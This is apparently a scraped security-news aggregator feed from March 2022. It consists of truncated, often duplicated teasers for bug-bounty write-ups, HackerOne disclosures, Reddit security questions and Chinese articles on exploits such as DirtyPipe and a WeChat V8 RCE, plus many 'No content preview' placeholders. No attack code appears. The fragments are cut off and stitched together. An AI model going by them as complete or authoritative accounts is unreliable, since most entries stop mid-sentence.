作者：lxraa@识链实验室 前言 由于无法绕过沙箱，该漏洞已被忽略。 谷歌在V8相关漏洞修复一段时间后，会公布（https://bugs.chromium.org/）漏洞的poc，有些漏洞有exp。但是公布的exp一般是存在漏洞的最后一个版本，由于不同版本V8的数据结构有变化，造成堆布局不同，公布的exp在非实验环境往往不能直接使用，本文以最新版微信远程命令执行为例介绍了从exp到实...

译者：知道创宇404实验室翻译组 原文链接:https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/ 在定期的 OSINT 研究中，Cyble 研究实验室偶然发现了 MalwareHunter 团队的一个 twitter 帖子，强调了一个名为 RU...

作者：lxraa@识链实验室 前言 由于无法绕过沙箱，该漏洞已被忽略。 谷歌在V8相关漏洞修复一段时间后，会公布（https://bugs.chromium.org/）漏洞的poc，有些漏洞有exp。但是公布的exp一般是存在漏洞的最后一个版本，由于不同版本V8的数据结构有变化，造成堆布局不同，公布的exp在非实验环境往往不能直接使用，本文以最新版微信远程命令执行为例介绍了从exp到实...

译者：知道创宇404实验室翻译组 原文链接:https://blog.cyble.com/2022/03/11/new-wiper-malware-attacking-russia-deep-dive-into-ruransom-malware/ 在定期的 OSINT 研究中，Cyble 研究实验室偶然发现了 MalwareHunter 团队的一个 twitter 帖子，强调了一个名为 RU...

Right after the release of the dOTC of the Marsbase platform, we are launching a Bug Bounty program to find bugs. This program provides… Continue reading on Medium »

Please avoid it because it is preventable. Continue reading on Medium »

В связи с релизом dOTC платформы Marsbase мы запускаем программу Bug Bounty по поиску багов. Данная программа предусматривает, что… Continue reading on Medium »

$whoami: Continue reading on Medium »

SQL Injection at Spotify. Continue reading on Medium »

Hello GUYS, Continue reading on Medium »

Happy Monday to anyone reading this write up. Today I am going to describe how I was able to make the BBC Hall Of Fame 3 times. My… Continue reading on Medium »

Greetings to all from Khrysokeras, Continue reading on Medium »

A simple story when Allah allowed me to get P1 by combining several issues, one of which was related to “weak credentials”. Continue reading on InfoSec Write-ups »

Hi, it’s me again haha Kurt Russelle Marmol aka xkurtph, Web Developer (noobie) and Security Researcher. Continue reading on Medium »

Reddit disclosed a bug submitted by whitehacker18: https://hackerone.com/reports/785833

Nextcloud disclosed a bug submitted by ctulhu: https://hackerone.com/reports/1338781 - Bounty: $350

Mattermost disclosed a bug submitted by thesecuritydev: https://hackerone.com/reports/1253732 - Bounty: $150

Just finished High school and am wanting to be a Pentester.Got inspired by Mr.Robot Really. Got little knowledge of Python and C , what are the ways to learn more and what to take in college for it. submitted by /u/Small_Run9123 [link] [comments]

Hello. I'm about to graduate college. I have some decent programming experience but no security experience. I can't do the most basic CTFs. If I get OSCP and some other certs will that be enough to do a Jr pentesting job? Will that enable me to do some CTFs? I feel like I should have started when I was like 13. Is it too late for me? submitted by /u/Hellothere6667 [link] [comments]

We have set up IPS monitoring on our firewall and I've been taking a look through the IPS events. Some are obvious on how to deal with, but some are harder, and I wondered if I could get some insight on what the process you guys would follow is for these? For example, one of our laptops on the remote VPN is triggering a IPS alert - 'TCP Segment Overwrite' I google the text and I see that "This signature fires when one or more TCP segments in the same stream overwrite data from one or more segments located earlier in the stream. This may indicate an attempt to hide an attack." and also "Overwriting TCP segments does not normally occur and should be treated with suspicion" OK, sounds suspicious? So I run an AV scan, and the machine comes up clean. So where would I go from here? Disclaimer, I'm no "Mr Robot" lol. I can understand TCPdump in terms of tracing where a packet is going and which interface it goes in / out etc but when it comes down to analysing packet contents etc with Wireshark, well..my abilities just don't stretch that far :( I always seem to hit this brick wall with a lot of IPS alerts where I'm just sat thinking, I don't know exactly what's causing it so I can't say it's a false positive or not. It's very frustrating! :/ Thanks for any advice you can give! submitted by /u/EffectiveClock [link] [comments]

I'm running Windows 10 Home on a personal computer and am seeking a FOSS-alternative to AppLocker (AppLocker can only be managed on Windows 10 Enterprise, Education, etc.). Does anyone have any suggestions? submitted by /u/cyberphor [link] [comments]

Hi everyone, Let's say I have a USB and I'm sure there is some kind of virus in it. What is the best way to clean and secure it so I can use it on my further days? submitted by /u/emir0723 [link] [comments]

In October I realized I hated my job and I've decided to learn IT because I've always wanted to work in that field. I did CS50 to the end and I loved it. Since I couldn't decide in what domain of IT I wanted to pursue my learning path (because everything interests me in IT), I went into cyber security since it's pretty much the IT domain that includes all the IT domains. I did TryHackMe's Pre Security path and now I'm almost done with the Jr Pentester path. I'm planning to do the Blue Team path. I also do CTFs to practice along. At this point I suppose that if this field was not for me I would've known by now, but so far I love it. I want to become a Blue Teamer Now I'm reading here and there on Reddit that it's impossible to start in cybersec for a beginner because you need real IT experience for instance years as a software/network engineer. Back when I started learning, people told me that I just needed Lab practice and Certifications and then boom I could apply for entry level jobs in cybersec. I wanted to get my foot in the door by starting as a Help Desk and then as a Sys Admin, mastering the fundamentals is obviously mandatory so I know I can't just start as a Blue Team Expert, but do I really need to be a network engineer for multiple years to then have enough XP to enter cybersec's (cybersex) field ? Thank you for guiding me ​ TLDR: Is it mandatory to be an ex software/network engineer to then work in cyber security ? submitted by /u/No-Lead497 [link] [comments]

Hello AskNetsec, I have been performing CIS Benchmark scans and I am trying to find a good method for keeping track of audits while trying to remediate them. This is both for myself, our engineers and management. I have been struggling trying to find the right format to do this. I would like to convert .nessus files into CSV, I hope that will do the trick. Does anyone know a good method of converting from .nessus to CSV? If you have any other recommendations as to how to streamline this process you are most welcome to comment it. Thank you in advance! submitted by /u/Gabbana2 [link] [comments]

my uni is providing few certs under institutional training. the certs are. CompTIA A+ CompTIA Linux+ CompTIA Network+ CompTIA Server+ CompTIA Security+ VMWare Virtualization and Software Defined Network Concepts. Palo Alto Cloud Security Fundamentals. Palo Alto Security Operations Fundamentals. my goal is to become penetration tester and I an currently first year student. I had plans to get security+ in 3rd year but since our uni has partnered I am confused which of these certs is best for me so that these help me in placement drive and so that I can focus on studying for oscp from 2nd year. so basically which cert should I choose. I am very grateful for your help!! submitted by /u/Otaku531 [link] [comments]

Guess one model would be North Korea, but something tells me that Russia would have harder time based on geography and the population’s current usage of the internet. submitted by /u/DryBloomer [link] [comments]

submitted by /u/RedTermSession [link] [comments]

submitted by /u/D4r1 [link] [comments]

submitted by /u/redhuntlabs [link] [comments]

submitted by /u/domenukk [link] [comments]

Introduction httpx is a fast web application reconnaissance tool coded in go by www.projectidscovery.io. With a plethora of multiple modules effective in manipulating HTTP requests The post A Detailed Guide on httpx appeared first on Hacking Articles.

Introduction httpx is a fast web application reconnaissance tool coded in go by www.projectidscovery.io. With a plethora of multiple modules effective in manipulating HTTP requests The post A Detailed Guide on httpx appeared first on Hacking Articles.

A red team plays a crucial role in cyber security as they pose as “ethical hackers.” Continue reading on Medium »

Task 1 Introduction - Continue reading on Medium »

If you pre-ordered, you know where I am going with this! Continue reading on Medium »

X is, indeed, gonna give it to ya Continue reading on Cinapse »

浅谈数据安全制度体系。

近日，Anonymous 向俄罗斯公民发布了一条新信息，邀请他们一起“消灭”正在牺牲他们并杀害乌克兰人的总统普京。

随着数字化的广泛应用，SSL数字证书已成为网络不可或缺的一部分，保护敏感数据通信和用户隐私比以往任何时候都更加重要

《条例》共七章六十七条，指出家庭、学校和其他教育机构应当教育引导未成年人参加有益身心健康的活动，预防和干预未成年人沉迷网络。

找回密码时使用位数较少的短信验证码，或者验证码没有设置有效时间限制，导致攻击者借助自动化工具在一定时间范围内爆破获得短信验证码，从而导致重置任意账号密码。

Escobar作为Aberebot恶意软件的新版本，迭代了新功能，包括窃取 Google Authenticator 多因素身份验证代码。

有关育碧遭到网络攻击的谣言在网上流传，而数据勒索组织LAPSUS$则表明这并不是留言，他们已经入侵了育碧。

清单共包含34项标准，其中制定标准20项，修订标准14项。

基于风险的身份验证（RBA）也称为自适应身份验证，是一种在不强制用户使用两因素身份验证（2FA）的情况下提高网站账户安全性的方法。

谷歌官方博客宣布向乌克兰安卓用户推送空袭警报系统。谷歌称，有数百万人依赖于空袭警报系统，它通过Play Services推送。

[HTB] Ophiuchi Writeup by 0x584a Watchdog 还是 TeamTNT？一例攻击归因刍议 by Avenger SecWiki周刊（第419期) by ourren 更多最新文章，请访问SecWiki

[HTB] Ophiuchi Writeup by 0x584a Watchdog 还是 TeamTNT？一例攻击归因刍议 by Avenger SecWiki周刊（第419期) by ourren 更多最新文章，请访问SecWiki

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

作者：Glassy 原文链接：https://g1asssy.com/2022/03/11/fuzz/ 引言 安全防护产品在进行防护的时候是需要对流量中的数据进行处理的，同样，被攻击的应用也需要处理这些数据以保证业务的正常进行，然而在很多情况下，安全产品处理数据流的框架和应用处理数据流的框架往往不同，在针对常规数据方面，当然不会出现问题，然而一旦被防护应用的数据处理框架的兼容性大于安全产品数...

作者：Dig2 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org 背景介绍 The idols是以太坊上的NFT项目，其特点在于会按照用户持有idols NFT的数量，分红Lido质押奖励(资金来源为项目公售获得的约2250 ETH)。该项目同时发行$VIRTUE代币，购买并质押代币的用户会分红idols NFT的交易...

作者：Glassy 原文链接：https://g1asssy.com/2022/03/11/fuzz/ 引言 安全防护产品在进行防护的时候是需要对流量中的数据进行处理的，同样，被攻击的应用也需要处理这些数据以保证业务的正常进行，然而在很多情况下，安全产品处理数据流的框架和应用处理数据流的框架往往不同，在针对常规数据方面，当然不会出现问题，然而一旦被防护应用的数据处理框架的兼容性大于安全产品数...

作者：Dig2 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org 背景介绍 The idols是以太坊上的NFT项目，其特点在于会按照用户持有idols NFT的数量，分红Lido质押奖励(资金来源为项目公售获得的约2250 ETH)。该项目同时发行$VIRTUE代币，购买并质押代币的用户会分红idols NFT的交易...

Now, more than ever we are bombarded with news on and offline. Friends share stories or post them on their walls, but how do you tell what… Continue reading on Medium »

A few months ago I participated in the CTF of https://investigator.cybersoc.wales/. Continue reading on Medium »

I have the source files of the react app, it uses the next.js framework. The .env file has process.env.NEXT_PUBLIC_API and process.env.NEXT_PUBLIC_API_TOKEN I was able to get both values by using the inspect tool on the live page. They are NEXT_PUBLIC_API=https://api.example.com NEXT_PUBLIC_API_TOKEN=thetokenstring The next.config.js file reads module.exports = { webpack: (config, { isServer }) => { // Fixes npm packages that depend on `fs` module if (!isServer) { config.node = { fs: 'empty' } } return config } } I am trying to re-create the api so I can use my own in my app. When I use the inspect tool again on the live app and click the network tab, I can see the data the api is pulling it. It seems to be just in simple json formatting. When I enter the site through builtwith.com I can see some of it is hosted on AWS EC2 in addition to vercel. In the a .js file - the API is pulled in like: _getPairs = async () => { try { const response = await fetch(`${process.env.NEXT_PUBLIC_API}/api/v1/pairs`, { method: 'get', headers: { 'Authorization': `Basic ${process.env.NEXT_PUBLIC_API_TOKEN}`, } }) const pairsCall = await response.json() return pairsCall.data } catch(ex) { console.log(ex) return [] } } and updatePairsCall = async ( account) => { try { const response = await fetch(`${process.env.NEXT_PUBLIC_API}/api/v1/updatePairs`, { method: 'get', headers: { 'Authorization': `Basic ${process.env.NEXT_PUBLIC_API_TOKEN}`, } }) const pairsCall = await response.json() this.setStore({ pairs: pairsCall.data }) await this._getPairInfo( account, pairsCall.data) } catch(ex) { console.log(ex) } } ​ Is there an easy way to re-create this API? Im a totally off base? Thank you submitted by /u/tokentrader [link] [comments]

Can it be determined what device was responsible for uploading image to cloud in photos.sqlite database — what info is available? submitted by /u/Complete-Cockroach80 [link] [comments]

Last week, I posted an article titled “There’s $20 hidden in this post”. Here’s how to solve the first part of it… Continue reading on Medium »

A detailed post on how I chained 3 vulnerabilities (A path traversal, An SSRF in an external piece of software, and a post-authentication… Continue reading on Medium »

Hello developer , bug hunter and cyber security enthusiast. In this opportunity i wanna show you my first Bug Bounty writeup from one of a… Continue reading on System Weakness »

I have come a long way in cybersecurity. Here’s why I'm eligible for writing this, I have faced every problem, had sleepless nights, and… Continue reading on Medium »

submitted by /u/lightgrains [link] [comments]

submitted by /u/pwntheplanet [link] [comments]

submitted by /u/pwntheplanet [link] [comments]

Have you ever thought you have been hacked? Or do you think your data’s secure in the digital world? We’re using many apps in our day to… Continue reading on Medium »

In this week’s good news, OSINT mobilizes for Ukraine, movement ecology achievements in AI, plus #Rstats tips for GIS and genomics Continue reading on Medium »

Summary of the espionage-related news stories for the Week 10 (7–12 March) of 2022. Continue reading on Medium »

Hi everybody. I'm sorry if this post goes against any rules or has been answered in depth somewhere else. I'm a 2nd year computer science major wondering about getting into DF, especially the LE side of things. Does anyone resources or information about the general path to get a job in DF? Are there certain ternships or work experience you can get while earning a degree that will help more than others? Are there specific certifications I should be looking to get in the future? Should I be pursuing a degree in DF, or would a degree in CS be a good base to work with? I don't think I have many classes that would transfer over besides some math/stats classes and a class on computer systems. I'm really just interested in seeing what the fastest path I can take from here to a job is, if I do end up pursuing DF. I really don't have any knowledge on DF or cybersecurity, but I made a tryhackme account and I'll test the waters with some of the modules on there to see if I wanna really dive into this field. I've heard about SANS courses, seen some good online DF degrees from Champlain and other colleges, but I'm just not sure where to go from here. Thank you to anyone who takes the time to answer any of these questions! submitted by /u/Normijah625 [link] [comments]

安全小白对数据安全的泛泛谈

近日，绿盟科技与中国电信联合发布《2021网络空间测绘年报》，旨在通过测绘的方法，发现物联网、公有云、工控系统、安全设备、数据库、智慧平台等关键领域资产在公网上的暴露情况

随着5G、云计算、大数据、物联网等新兴数字产业的发展，信息基础设施的建设规模也随之扩大，这无疑会导致越来越多的网络资产暴露在互联网上。这些资产一旦被DDoS攻击者所利用，将会对网络安全带来严重威

帮助广大研究人员将Kali Linux中的各种工具轻松移植到Debian和Ubuntu等Linux操作系统中。

俄罗斯互联网监督机构 Roskomnadzor 将在俄罗斯禁止 Instagram。

iptables&Netfilter简介

SyntheticSun 是一个深度防御安全自动化和监控框架，它利用威胁情报、机器学习、托管 AWS 安全服务和无服务器技术来持续预防、检测和响应威胁。

Linux系统安全强化指南 by ourren 更多最新文章，请访问SecWiki

Linux系统安全强化指南 by ourren 更多最新文章，请访问SecWiki

Article URL: https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316 Comments URL: https://news.ycombinator.com/item?id=30661899 Points: 1 # Comments: 0

Article URL: https://0xbigshaq.github.io/2022/03/12/fuzzing-smarter-part2 Comments URL: https://news.ycombinator.com/item?id=30661893 Points: 1 # Comments: 0

Cross site scripting (XSS) vulnerability is very easy, popular and available on many websites. Continue reading on Medium »

I'm reluctant to use credit cards when I can because I've seen a lot of stories of hacks into places like hotel servers where they get access to card details , customer name & address, etc But most of these are from a few years ago, has there been can upgrade that miniminzsd the risk of this happening nowadays? As in is this info stored in a more secure way now? submitted by /u/computerstuffs [link] [comments]

My company’s security org is curious about adding fuzz testing to our secure SDLC pipeline. I’ve been reading about the topic, which I’m finding fascinating, but it’s also left me with some questions about when to fuzz and which flavour of fuzzing would make sense for the large number of services/APIs in our portfolio. -At which phase does fuzzing get in the picture? Is this something typically run later as in QA and deployment/release or post-commit/build similar to SAST? Would the latter scenario be redundant given we run SAST? -How agile is black box and grey box (instrumentation guided) fuzzing for an app portfolio with a rapidly changing attack surface? I’m leaning towards black-box mutation and template fuzzers since the attack surface can be supplied via a network traffic capture, API specification…all of which are easily retrievable from other tools in our QAT/AST framework. My understanding is grey box fuzzers require user programmed harness classes to interface with the app. Meaning every time a new entry point is added or removed or a new app is onboarded, the fuzzer needs an updated setup. Afaik this setup is done manually at least for all the open-source grey box fuzzers I’ve looked into. Any gotchas or recommendations on fuzz testing adoption strategy are much appreciated. submitted by /u/phuckphuckety [link] [comments]

Looking for if anyone has any thoughts or opinions on this course for reverse engineering or if they themselves have signed up for this course? The course is found here https://www.reverse-engineer.net/ submitted by /u/SufficientDistrict10 [link] [comments]

Hi all! I've been doing bits and pieces of vulnerability research on my own time, and typically I do it only so far as I feel "engaged" with the project. As you might imagine, this leads to dropping projects often and swapping between them, which looks horrible for career potential but also leads me to be constantly burnt out of research and other hobby projects. I am revisiting a very niche router OS with intention to reverse engineer the firmware, such that I can understand its attack surface (and find bugs, eventually). This is a massive undertaking for me, but one that I believe is a good move as doing so would demonstrate my ability to adapt and learn new things; the biggest problem though, is me and my lack of organization. Thus, I'm wondering what tactics, techniques and procedures you all use when going about research. I'm no stranger to kanban boards and the like, and appreciate the idea of planning things out in weekly chunks, but is this advisable? submitted by /u/Mostly_Breadfruit [link] [comments]

submitted by /u/dmchell [link] [comments]

submitted by /u/thats_dumberst [link] [comments]

submitted by /u/ghost-train [link] [comments]

submitted by /u/CoolerVoid [link] [comments]

App, web app, i dont care. i just need to keep track of things and organize them. Thanks submitted by /u/networkalchemy [link] [comments]

Is there any free script or tool to visualize network knots like here? https://miro.medium.com/max/600/1*D3DB7o6maH5BAxm5vWL4XA.png submitted by /u/dashlf92 [link] [comments]

Is there any good Open Source Web Application Security Scan Tool you can recommend? We've developed a few web applications and look to build better protections. thanks, submitted by /u/alphasystem [link] [comments]

Hello r/AskNetsec! It's been a while since we've last done one of these, and we hope that you all have been well. We the moderators, wish you all well, and that everyone stays safe during these interesting times. ​ Flair system! -As you might have noticed, flairs have appeared. In order to organize the sub in a friendly manner, we have implemented a required flair system. The flairs: Analysis – Requesting aid to determine security/network-related issues. WITH DATA/Background Architecture – Questions related to best practices for environmentally based things. Product etc. Concepts – Questions around security concepts (IE Least Privileged, User Awareness, CIA Triad, Walled Garden, etc.) Threats – Questions related to specific threats in the security landscape. Compliance – Questions around compliance and legal standards (GDPR, NIST, PCI-DSS, etc.) Education – Further education questions, what certificates, degrees to go for, getting started in the field, etc. Work – Related to work questions. Burnout, salary, HR, etc. Other – Not fitting other categories. This is, of course, still a work in progress. Please feel free to comment on any suggestions you might have. ​ I would like to iterate that asking for help in committing a crime of any sort is not allowed. This is an immediate permanent ban. ​ The sub has been growing well in the past few months, and we couldn't be more grateful for the support that has been given. We will see you all again in 3 months for the next State of the Subreddit. ​ - AskNetSec Moderators submitted by /u/-Vampires- [link] [comments]

I am going to be starting community college as a cybersecurity major, and I am really interested in malware analysis. I heard that the ThinkPad is a pretty good laptop for that sort of thing, so I am looking into buying one pretty soon. I'm currently doing an internship and my boss told me that I should get a laptop that runs Hyper-V and VM. He also told me that the P15 series is pretty good for malware, but I am not sure yet. What model of the ThinkPad should I get for this what specs do you suggest that I look for? submitted by /u/MadScientist876 [link] [comments]

I recently received an iPhone 6s 128gb in for data recovery I’m using this as an opportunity for learning as I’ve never done recovery on an iPhone so I came here to ask what step should I take and what should be done for the best chance of data of recovery Please and thank you submitted by /u/23Weirdo23 [link] [comments]

Typically how is prima facie established in digital forensics? Again, is user attribution important for prima facie or is a somebody owning an equipment/control of an account sufficient? submitted by /u/Complete-Cockroach80 [link] [comments]

Görüntüleri Coğrafi Konum Belirleme Continue reading on Medium »

Introduction Delegation has been a part of Microsoft’s Active Directory environment since the early 2000s and has remained one of few ignored threats by system The post Domain Escalation: Resource Based Constrained Delegation appeared first on Hacking Articles.

Introduction Delegation has been a part of Microsoft’s Active Directory environment since the early 2000s and has remained one of few ignored threats by system The post Domain Escalation: Resource Based Constrained Delegation appeared first on Hacking Articles.

Hey guys! I’m back with another write-up and this one’s about a bug for which I got awarded $250, so let’s start. Continue reading on Medium »

XSS Continue reading on Medium »

Hello guys, Continue reading on Medium »

Hello, Hackers 👋👋 Continue reading on Medium »

This is one of my very interesting and unexpected finding while testing an Application Tracking System. Continue reading on Medium »

Article URL: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/ Comments URL: https://news.ycombinator.com/item?id=30653137 Points: 92 # Comments: 3

安全中间件的设计思路和简单实践 by ourren 威胁情报平台OpenCTI的搭建 by ourren 人工智能（AI）&网络安全 by ourren 安全和美-我对网络安全的观察和思考 by ourren 开源组件治理的实践与思考 by ourren AKG：攻击者知识图谱 by ourren 更多最新文章，请访问SecWiki

安全中间件的设计思路和简单实践 by ourren 威胁情报平台OpenCTI的搭建 by ourren 人工智能（AI）&网络安全 by ourren 安全和美-我对网络安全的观察和思考 by ourren 开源组件治理的实践与思考 by ourren AKG：攻击者知识图谱 by ourren 更多最新文章，请访问SecWiki

Article URL: https://robertwillishacking.com/census-vulnerability-exposes-10k-oauth-tokens-thousands-of-user-records/ Comments URL: https://news.ycombinator.com/item?id=30652143 Points: 3 # Comments: 0

Casper-fs is a Custom Hidden Linux Kernel Module generator. Each module works in the file system to protect and hide secret files This program has two principal functions: turning private files hidden. The second function is to protect confidential files to prevent reading, writing and removal. https://github.com/CoolerVoid/casper-fs submitted by /u/CoolerVoid [link] [comments]

I have recently spotted an interesting vulnerability in a PHP application, which was in scope of a private bug bounty program. This… Continue reading on InfoSec Write-ups »

Hello everyone! Continue reading on Medium »

Hey Community !! Continue reading on Medium »

So you are here, i have seen people reporting open-redirect without exploiting it for SSRF and being happy with low impact. You should… Continue reading on Medium »

Hello, todays write up is about multiple instances of the same vulnerability I found on a major African telecoms providers website, we… Continue reading on Medium »

· Academy Hackaflag BR - https://hackaflag.com.br/ · Attack-Defense - https://attackdefense.com · Alert to win - https://alf.nu/alert1 ·… Continue reading on Medium »

Sometimes if it looks like XSS, it may not actually be XSS. Continue reading on Medium »

Hello! If you happen to find this page, all content has been moved and will be published to my new site going forward. Continue reading on Medium »

This room is an introduction to red teaming Continue reading on Medium »

Steel Mountain is a TryHackMe room that sports a Mr. Robot theme. It is great for those into hacking shows an new to the scene! Continue reading on InfoSec Write-ups »

Hello everyone. I will achieve my Security+ degree this year (mere months away). Currently, I have lots of IT experience, over 20 years of IT analyst, Helpdesk, and IT Desktop support, but I'm new to IT Security beyond what those roles entail. My question is: What should my next step(s) be to getting a solid Cybersecurity Forensics career underway? I love remote (WFH) work and hope to one day have more of that, and less office time needed, but starting out, I'll do what I have to do. Do I need to study for a more advanced cert right away after getting the Security+? I know I need to work in a more entry-level IT Security-based job FIRST, get my feet wet obviously, prove I can do the basics, but beyond that, what should I be focusing on to move in the IT forensics direction? I really do appreciate any help, tips, play by plays, or just guidance for this general. submitted by /u/cleverestx [link] [comments]

As you can tell by reading, I'm new to this. Thanks for any insights: Is it normal that some of the elements of a Google search warrant are formatted in HTML as a bunch of boxes containing information? I'm surprised that it wouldn't just be all in CSV or some other easy to parse/sort format. Under MyActivity, there's a document that lists browser/search activity (in boxes) that say "Visited Google Search" but none of these appear to contain any detail about what was searched. Am I not able to see what was actually searched? Is that something the user elected to keep private or is that standard reporting behavior of a Google return? Is folder-by-folder, file-by-file examination of these various HTML and CSV files the way most people approach looking through these things? Is there an obvious, better way? submitted by /u/PieWithIceCreamCrust [link] [comments]

submitted by /u/eberkut [link] [comments]

submitted by /u/albinowax [link] [comments]

submitted by /u/SCI_Rusher [link] [comments]

When investigating my laptop, I stumbled upon something interesting that resulted in privilege escalation. I use a Lenovo ThinkPad X1 Extreme Gen 1, which has an installed software named Glance, for my day-to-day work. The purpose of this software is to use the advanced web camera to figure out if you are speaking when the... The post CVE-2022-24696 – Glance by Mirametrix Privilege Escalation appeared first on TrustedSec.

My team needs to run a security analysis on an entire Github repo that includes mostly C/C++ files (a couple of non-C/C++ files are there too). What's the best free security scan tool that can be used to scan a repo in a Linux environment and scan all C/C++ files in the directories/subdirectories of the repo for bugs, vulnerabilities, code smells, etc.? submitted by /u/techsavvynerd91 [link] [comments]

Hey folks, I'm learning about DDoS attacks, and I see a lot of ICMP floods, UDP floods, HTTP floods, etc. At the end of the day, the attacker sends Ethernet frames to the victim server and its network, so if we look only at how it affects the bandwidth of server or network devices, there isn't any. In my point of view, it's can only help to pass some obstacles. For example, the Firewall blocks ICMP requests, but not HTTP because it legitimate requests from a web server like Amazon. Maybe the difference can be significant if we talk about exhausting CPU and RAM because probably HTTP GET or POST can require the server to do a lot more than ICMP protocol. I get it right or totally messed up something? Thanks. submitted by /u/Webly99 [link] [comments]

I'm a target of hackers right now. They have hacked my car alarm to beep nonstop. Now for the first time yesterday my car was hacked to go from D to Neutral while driving. Any thoughts on how they did it? Don't tell me to get maintenance on my car, I'm a former mechanic and it's not a transmission problem... submitted by /u/Dogfish18 [link] [comments]

Hello! I have a very basic homeserver connected to a router via LAN. I use it for Plex and nextcloud. I am pretty technologically adept, but I am not close to being adept at networking or security. I do take my privacy some what seriously and I'm assuming that simply portforwarding my Plex and Nextcloud instances to be able to access them outside of my house is dangerous. But I'm also in a position where I'm not informed enough to do something different. I can easily follow guides to do stuff and can troubleshoot. The homeserver runs Ubuntu. Are my doubts about portforwarding unfounded? If not, what other alternatives can I use to remotely access my homeserver and how would I go about installing them? I'm sorry if this is a very stupid question, as I said before, I'm not adept when it comes to networking and security.. Thanks in advance! submitted by /u/sadhgurukilledmywife [link] [comments]

It looks like my team is being cornered into installing VooV Meeting for some management meetings for various reasons. I've suggested using the web-based version, which hasn't seemed to work in their test meetings. I'm looking for some opinions on the use of this meeting software. I'm already planning to install it for the requested meeting, then immediately uninstall it afterwards. Considering further measures. Am I being paranoid? submitted by /u/unseenspecter [link] [comments]

IBM disclosed a bug submitted by 0xelkomy: https://hackerone.com/reports/938684

IBM disclosed a bug submitted by thesanjok: https://hackerone.com/reports/1492447

Hi readers! This write-up is about my yamagata XSS labs journey. There is a total of 19 stages in this lab. We have to execute the… Continue reading on Medium »

Article URL: https://www.theguardian.com/technology/2022/mar/10/us-russia-cyber-attack-prepared Comments URL: https://news.ycombinator.com/item?id=30642010 Points: 1 # Comments: 0

网络安全2022：守望高质量-PDF by ourren 更多最新文章，请访问SecWiki

网络安全2022：守望高质量-PDF by ourren 更多最新文章，请访问SecWiki

Europol EC3 is looking for clues that will lead to the arrest and prosecution of the Enigma Team leader. Continue reading on Medium »

If you have been following us on Medium for a while, you might have read our ‘OSINT 101 with Lampyre’ article, which is basically a good… Continue reading on Medium »

This is a walkthrough for the Osint Machine from TryHackMe . They just give us an image. Let’s open the image, we get the image of… Continue reading on Medium »

How to find someone on OnlyFans? We’ve been chatting to some experts in online investigations, what we found out was pretty useful. Continue reading on Medium »

Are you trying to find someone, that perhaps shouldn’t be on Plenty of Fish (POF)? Continue reading on Medium »

For anyone who's used the Web Security Academy before, you'll be pretty familiar with the format. For those of you who haven't had the pleasure, the process goes a little bit like this: Select a set o

For anyone who's used the Web Security Academy before, you'll be pretty familiar with the format. For those of you who haven't had the pleasure, the process goes a little bit like this: Select a set o

游戏之神

3月9日下午，「CIS 2021网络安全创新大会Spring·春日版」金融科技安全专场成功进行线上直播。

3月10日，中国人民政治协商会议第十三届全国委员会第五次会议在北京闭幕。本届两会，全国政协委员、安天集团创始人肖新光提交三份提案，聚焦推进网络安

继NVIDIA核心源代码75GB的机密数据和核心源代码被泄露后，勒索组织公开了韩国三星电子150GB的机密数据和核心源代码。

Emotet自去年11月复出以来发展迅猛，且具备了以往所没有的新功能。

分组密码是一种对称密钥算法。它将明文分成多个等长的模块，使用确定的算法和对称密钥对每组分别加密解密。分组加密是极其重要的加密协议组成，其中典型的如AES和3DES作为美国政府核定的标准加密算法。

如收购成功，Mandiant将加入谷歌的云计算部门，以更好地和亚马逊AWS和微软Azure在云市场开展竞争。

目前，俄罗斯政府已经决定自己创建一个证书颁发机构，提供独立颁发和更新 TLS 证书的解决方案。

近期有同事反映疑似收到了钓鱼邮件。发件人也是公司同事的名字，但发件邮箱 comercial1@qualitypro.com.co不是公司的邮箱

安全合规是不少企业的痛点，在CIS2021 春日版安全合规专场，5位大咖通过各自具有建设性的议题，探讨企业合规建设之路。

人工智能与产业结合推动爆发式增长是未来我国移动互联网发展的重大趋势之一。这样的大背景下，网络信息安全也被赋予了更广泛更深刻的定义。

威胁参与者正在使用 一种模仿Liberator的窃取信息恶意软件，这种工具是亲乌克兰黑客用于攻击俄宣传网站的常用工具。

汽车之家成立于2005年，致力于为消费者提供一站式的看车、买车、用车服务，提供优质的汽车消费和汽车生活服务。

基于云的 OneAuth 服务可以通过在所有这些应用程序中提供单点登录 (SSO) 来缓解这些问题，为用户提供一个使用单个用户名和密码访问其所有资源的中心位置。

作者：启明星辰ADLab 原文链接：https://mp.weixin.qq.com/s/RoGHvNW2Y6dZOjgsBVVm5Q 01 漏洞详情 近日，研究人员披露了一个Linux内核本地权限提升漏洞，发现在copy_page_to_iter_pipe和 push_pipe函数中，新分配的pipe_buffer结构体成员“flags”未被正确地初始化，可能包含旧值PIPE_BUF_FL...

作者：ghost461@知道创宇404实验室 时间：2022年3月11日 简介 2022年2月23日, Linux内核发布漏洞补丁, 修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847), 该漏洞可导致普通用户本地提权至root特权, 因为与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似, 该漏洞被命名为DirtyPipe。 在3月7日, 漏...

作者：启明星辰ADLab 原文链接：https://mp.weixin.qq.com/s/RoGHvNW2Y6dZOjgsBVVm5Q 01 漏洞详情 近日，研究人员披露了一个Linux内核本地权限提升漏洞，发现在copy_page_to_iter_pipe和 push_pipe函数中，新分配的pipe_buffer结构体成员“flags”未被正确地初始化，可能包含旧值PIPE_BUF_FL...

作者：ghost461@知道创宇404实验室 时间：2022年3月11日 简介 2022年2月23日, Linux内核发布漏洞补丁, 修复了内核5.8及之后版本存在的任意文件覆盖的漏洞(CVE-2022-0847), 该漏洞可导致普通用户本地提权至root特权, 因为与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似, 该漏洞被命名为DirtyPipe。 在3月7日, 漏...

No content preview

Steel Mountain is a TryHackMe room that sports a Mr. Robot theme. It is great for those into hacking shows an new to the scene! Continue reading on InfoSec Write-ups »

No content preview

